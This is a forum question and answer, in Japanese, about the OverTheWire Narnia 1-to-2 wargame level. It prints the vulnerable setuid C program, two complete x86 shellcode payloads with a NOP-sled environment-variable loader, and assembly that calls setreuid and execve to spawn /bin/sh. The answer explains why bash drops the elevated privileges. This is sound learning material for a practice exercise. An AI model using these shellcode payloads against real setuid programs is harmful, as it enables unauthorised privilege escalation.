私は現在、overthewire.orgでNarniaの課題に取り組んでいます。 1-> 2の課題で、回避できないように見える問題が発生しています。基本的に、setuidビットが設定されているnarnia1というCプログラムがあります。これはそのためのコードです。
int main(){ int (*ret)(); if(getenv("Egg")==NULL){ printf("Give me something to execute at the env-variable Egg\n"); exit(1); } printf("Trying to execute Egg!\n"); ret = getenv("Egg"); ret(); return 0; }
Setuidを実行すると、narnia2のアクセス許可が与えられるので、/ etc/narnia_pass/narnia2パスワードファイルを読み取るために、narnia2の特権を持つシェルを生成しようとしています。私は2つの異なる方法を試しましたが、どちらもnarnia1としてシェルを生成しました。私が使用した最初の方法は、Pythonでシェルコードを印刷することでした。
export Egg=$(python -c 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"')
不良文字を削除しない単純なシェルコードを使用してみましたが、機能しませんでした。 narnia1シェルを入手しました。私が使用した2番目の方法は、env変数をシェルコードで設定するCプログラムを作成することでした。
#define NOP 0x90 char shellcode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" int main(void) { char Shell[512]; puts("Eggshell loaded into environment.\n"); memset(Shell,NOP,512); memcpy(&Shell[512-strlen(shellcode)],shellcode,strlen(shellcode)); setenv("Egg", Shell, 1); putenv(Shell); system("bash"); return 0; }
これらの方法はどちらも、オンラインのすべてのナルニアウォークスルーで見つけた方法と同じでしたが、適切に機能させることができません。 tmpの代わりにnarniaディレクトリでeggcode.cプログラムを実行してみましたが、それも機能しませんでした。また、次のアセンブリ言語から派生したシェルコードを使用してみました。
xor eax, eax mov al, 70 ;setreuid is syscall 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short ender starter: pop ebx ;get the address of the string xor eax, eax mov [ebx+7 ], al ;put a NULL where the N is in the string mov [ebx+8 ], ebx ;put the address of the string to wherethe ;AAAA is mov [ebx+12], eax ;put 4 null bytes into where the BBBB is mov al, 11 ;execve is syscall 11 lea ecx, [ebx+8] ;load the address of where the AAAA was lea edx, [ebx+12] ;load the address of the NULLS int 0x80 ;call the kernel, WE HAVE A Shell! ender: call starter db '/bin/shNAAAABBBB'
繰り返しますが、これはnarnia1シェルのみを生成しました。コードがシェルを生成しているため、問題はシェルコードにあるのではないかと思います。しかし、他に何ができるかわかりません。どんな助けでも本当にいただければ幸いです。
私は、あなたが与えたアセンブリコードの例、特にsetreuidへのシステムコールを作成する部分について、順調に進んでいると思います。ただし、実際の有効なユーザーIDを0に設定しようとしています。manページによると、これは機能しません。
非特権ユーザーは、実ユーザーIDを実ユーザーIDまたは実効ユーザーIDにのみ設定できます。
ソース: http://man7.org/linux/man-pages/man2/setreuid.2.html
Narnia0.cでは、setreuid(geteuid(),geteuid());
呼び出しの前にsystem("/bin/sh")
への呼び出しがあることがわかります。だから私はあなたがあなたのシステムコールをアセンブリのsetreuidに似たものに調整する必要があると信じています。
作成時のnarnia0.cソースコードを含むnarnia0の old write-up を見つけましたが、それはしませんsetreuid
呼び出しを含めます。 narnia1の古い記事では、シェルコードにsetreuid
への呼び出しを含める必要がないため、これは理にかなっています。システムのセットアップ方法、またはシェルの起動時に有効なユーザーIDが処理される方法のいずれかで、何かが変更されている必要があります。
現在、シェルを生成しようとするのではなく、他のコマンド(catなど)を直接実行するシェルコードは、setreuidを事前に呼び出すことなく実際に機能します(narnia2ファイルにアクセスできます)。そのため、変更はシェルの起動に影響しているようです。おそらく、シェル自体が変更されたため、起動時に有効なユーザーIDが実際のユーザーIDにリセットされるようになりましたが、現時点では推測しているだけです(ただし、上記のすべてを説明します)。